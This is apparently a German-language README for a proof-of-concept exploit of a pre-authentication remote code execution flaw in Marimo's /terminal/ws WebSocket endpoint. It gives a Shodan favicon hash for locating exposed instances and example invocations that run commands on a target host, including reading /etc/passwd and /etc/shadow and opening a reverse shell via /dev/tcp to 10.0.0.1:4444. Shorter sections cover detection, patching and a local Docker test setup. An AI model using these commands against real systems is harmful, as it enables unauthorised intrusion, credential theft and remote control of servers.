
PoC für CVE-2026-39987: Pre-Authentifizierungs-RCE über WebSocket in Marimo vor 0.23.0 (CVSS 9.3).
Dieses Skript dient NUR zu Bildungszwecken und für autorisierte Tests. Die unbefugte Nutzung dieses Tools gegen Systeme ohne ausdrückliche Erlaubnis ist ILLEGAL. Der Autor übernimmt keine Haftung für den Missbrauch dieser Informationen.
Marimo-Versionen vor 0.23.0 weisen eine kritische Schwachstelle zur Remote-Code-Ausführung (RCE) ohne vorherige Authentifizierung auf. Der Endpunkt /terminal/ws implementiert keine angemessenen Zugriffskontrollen, wodurch ein nicht authentifizierter Angreifer eine vollständige interaktive Shell auf dem System erhalten kann.
| Detail | Information |
|---|---|
| CVE | CVE-2026-39987 |
| Schweregrad | KRITISCH |
| CVSS-Score | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| Typ | Pre-Auth Remote Code Execution (RCE) |
| Vektor | WebSocket (/terminal/ws) |
| Betroffenes Produkt | Marimo < 0.23.0 |
| Patch | Marimo ≥ 0.23.0 |
http.favicon.hash:-1864630356
text
-1864630356/api/versionpip install websockets requests
Grundlegende Verwendung
bash
python CVE-2026-39987_PoC.py http://victima.com:8080 "id"
Beispiele
bash
# Systeminformationen abrufen
python CVE-2026-39987_PoC.py http://target.com:8080 "id"
python CVE-2026-39987_PoC.py http://target.com:8080 "uname -a"
python CVE-2026-39987_PoC.py http://target.com:8080 "whoami"
# Sensible Dateien lesen
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/passwd"
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/shadow"
# Reverse Shell
python CVE-2026-39987_PoC.py http://target.com:8080 "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
# Interaktive Shell
python CVE-2026-39987_PoC.py http://target.com:8080 "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
🛡️ Erkennung (Sicher)
Skript zur passiven Erkennung
bash
python detector.py -u http://target.com:8080
python detector.py -l urls.txt
Nuclei-Vorlage
yaml
# marimo-cve-2026-39987.yaml
id: CVE-2026-39987
info:
name: Marimo < 0.23.0 Pre-Auth RCE
severity: critical
# ... (vollständige Vorlage enthalten)
🔧 Behebung
Sofort
Das System von der Netzwerkverbindung TRENNEN, wenn es exponiert ist
Zugriff auf den Port blockieren, auf dem Marimo läuft
Logs auf verdächtige Aktivitäten prüfen
Dauerhaft
bash
# Auf gepatchte Version aktualisieren
pip install --upgrade marimo>=0.23.0
# Version überprüfen
marimo --version
# Authentifizierung konfigurieren, wenn öffentlich exponiert
# 'marimo edit' NIEMALS direkt im Internet exponieren
Docker (Verwundbare Umgebung)
bash
# Verwundbare Version für Tests ausführen
docker run -p 8080:8080 marimo-team/marimo:0.22.0
# Verwundbarkeit überprüfen
python CVE-2026-39987_detector.py http://localhost:8080
# Exploit ausführen
python CVE-2026-39987_PoC.py http://localhost:8080 "id"
GitHub Security Advisory
NVD-Eintrag
Pull Request #9098
Marimo-Dokumentation
👥 Credits
Entdeckung: [Name des Forschers]
PoC-Entwicklung: [Ihr Name]
Patch: Marimo-Team
📜 Lizenz
Dieses Projekt dient nur zu Bildungszwecken. Die Nutzung dieser Software erfolgt auf eigenes Risiko.
⭐ Wenn dir dieses README geholfen hat, erwäge, dem Repository einen Stern zu geben.
⚠️ DENK DARAN: MIT GROSSER MACHT KOMMT GROSSE VERANTWORTUNG